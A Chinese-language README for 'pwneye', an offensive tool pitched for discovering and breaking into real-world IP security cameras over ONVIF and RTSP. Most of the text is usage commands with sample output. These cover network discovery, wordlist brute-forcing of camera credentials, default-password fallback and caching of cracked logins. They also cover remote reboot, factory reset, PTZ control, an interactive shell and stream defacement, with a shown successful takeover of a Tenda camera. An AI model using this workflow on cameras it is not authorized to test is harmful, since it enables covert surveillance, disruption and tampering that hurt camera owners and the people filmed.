你的 ONVIF 和 RTSP 摄像机伴侣,用于发现和入侵现实世界中的安防摄像头 🎥
pwneye 是一款专注且便携的进攻性安全工具,用于处理暴露 ONVIF 和 RTSP 服务的 IP 摄像头,旨在让安全研究人员和黑客能够通过单一 CLI 工作流轻松完成发现、认证测试、元数据收集、流验证、录制以及后续操作。
目前支持的部分功能包括:
ffplay 实时预览、通过 ffmpeg 录制以及快照捕获~/.pwneye 下https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
从 GitHub 将 pwneye 安装为系统级 CLI 命令:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
卸载它:```bash
pipx uninstall pwneye
稍后从同一个 GitHub 源升级它:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
稍后可从同一 GitHub 源升级:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### 外部依赖
以下工具根据你使用的模式,预期位于 `PATH` 中:
- `ffplay`
- `ffprobe`
- `ffmpeg`(用于录制)
| 平台 | 安装命令 |
| --- | --- |
| macOS(Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## 快速上手
以下内容可作为使用该工具的最快入门途径。这里的目的不是记录每个标志,而是根据你已有的了解,展示开始使用摄像头的最实用方式。
当你只有一个目标,并希望 `pwneye` 为你完成协议选择工作时,可从默认的完整工作流开始:```bash
pwneye -t 192.168.1.135
从 ONVIF 发现开始,当你处于同一本地网络并希望在接触 RTSP 之前识别设备、厂商和流线索时:```bash pwneye --discover
直接从RTSP开始,当ONVIF不相关、不可用,或者你已经清楚想要测试什么时:```bash
pwneye -t 192.168.1.135 --skip-onvif
从已知或疑似凭据开始,当你想减少噪音并快速验证访问权限时:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
从已知路径或路径模板开始,当您已有流线索并希望严格控制RTSP请求时:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
从找到可用数据流后开始证据收集:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
需要记住的有用标志:
- `--vendor VENDOR`:当设备系列已知时,减少 RTSP 请求
- `-cn, --connection-string PATH`:尝试已知的 RTSP 路径或包含候选路径的文件
- `--multi-channel`:当你怀疑目标是 DVR/NVR 类型时,优先使用基于通道的 RTSP 路径
- `--threads N`:控制 ONVIF 和 RTSP 暴力破解的并发数
- `--skip-onvif` / `--skip-rtsp`:只专注于一种协议
- `--no-cache`:不从缓存读取,也不写入缓存
- `--fresh`:忽略缓存读取,但仍写入新发现
## ONVIF
ONVIF 是摄像头世界的管理和控制端。实际上,它对于发现、认证、元数据提取、媒体配置文件枚举、流 URI 获取以及重启等设备操作非常有用。
在 `pwneye` 中,ONVIF 通常是能提供最丰富的认证后上下文、最清晰地了解摄像头暴露内容的协议,并且当认证账户拥有足够权限时,还能访问设备上的真实管理操作。
### ONVIF 能为你提供什么
当摄像头暴露 ONVIF 时,`pwneye` 可以利用它来:
- 通过 WS-Discovery 发现本地网络上的摄像头
- 使用固定凭据或文件测试 ONVIF 认证
- 提取制造商和设备元数据
- 检索设备暴露的 RTSP 流 URI
- 在更激进地接触 RTSP 之前,枚举有用的认证后上下文
- 使用 `--reboot` 请求经过认证的重启
- 使用 `--reset` 请求经过认证的恢复出厂设置
- 从命令行或专用查看器移动支持 PTZ 的摄像头
- 使用 `--shell` 打开经过认证的交互式 shell
- 使用 `--deface` 通过 ONVIF 篡改流
- 使用 `--undeface` 恢复最后保存的篡改配置文件
### 枚举本地网络
使用 WS-Discovery 识别本地网络上支持 ONVIF 的设备:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
发现循环每隔几秒持续探测,仅打印新发现的设备,并可通过 CTRL-C 停止。
您还可以通过特定的网络接口强制进行发现:```bash pwneye --discover en0 pwneye --discover eth0
当未指定接口时,`pwneye` 会自动选择默认的出站接口,并告知你它正在使用哪个目标子网进行 WS-Discovery。
### 暴力破解凭据
使用固定用户名和密码文件运行仅限 ONVIF 的暴力破解:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
实用选项:
--skip-onvif:跳过 ONVIF 检测与枚举-oP, --onvif-port PORT:测试指定的 ONVIF 端口-ou, --onvif-username USER:ONVIF 用户名,或每行一个用户名的文件-op, --onvif-password PASS:ONVIF 密码,或每行一个密码的文件如果未指定 -ou 和 -op,pwneye 会自动回退到其内置的常见 ONVIF 用户名和密码。
pwneye 会将每个目标成功验证的 ONVIF 凭据缓存到 ~/.pwneye/cache 下,并在后续运行中复用,除非你使用 --fresh 或 --no-cache。
如果 ONVIF 认证成功,你可以直接请求重启:``` pwneye -t 192.168.1.135 --reboot
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!
当使用 `--reboot` 时,将跳过 RTSP 探测。
### 重置摄像头
如果 ONVIF 认证成功,您也可以直接请求恢复出厂设置:```text
pwneye -t 192.168.1.135 --reset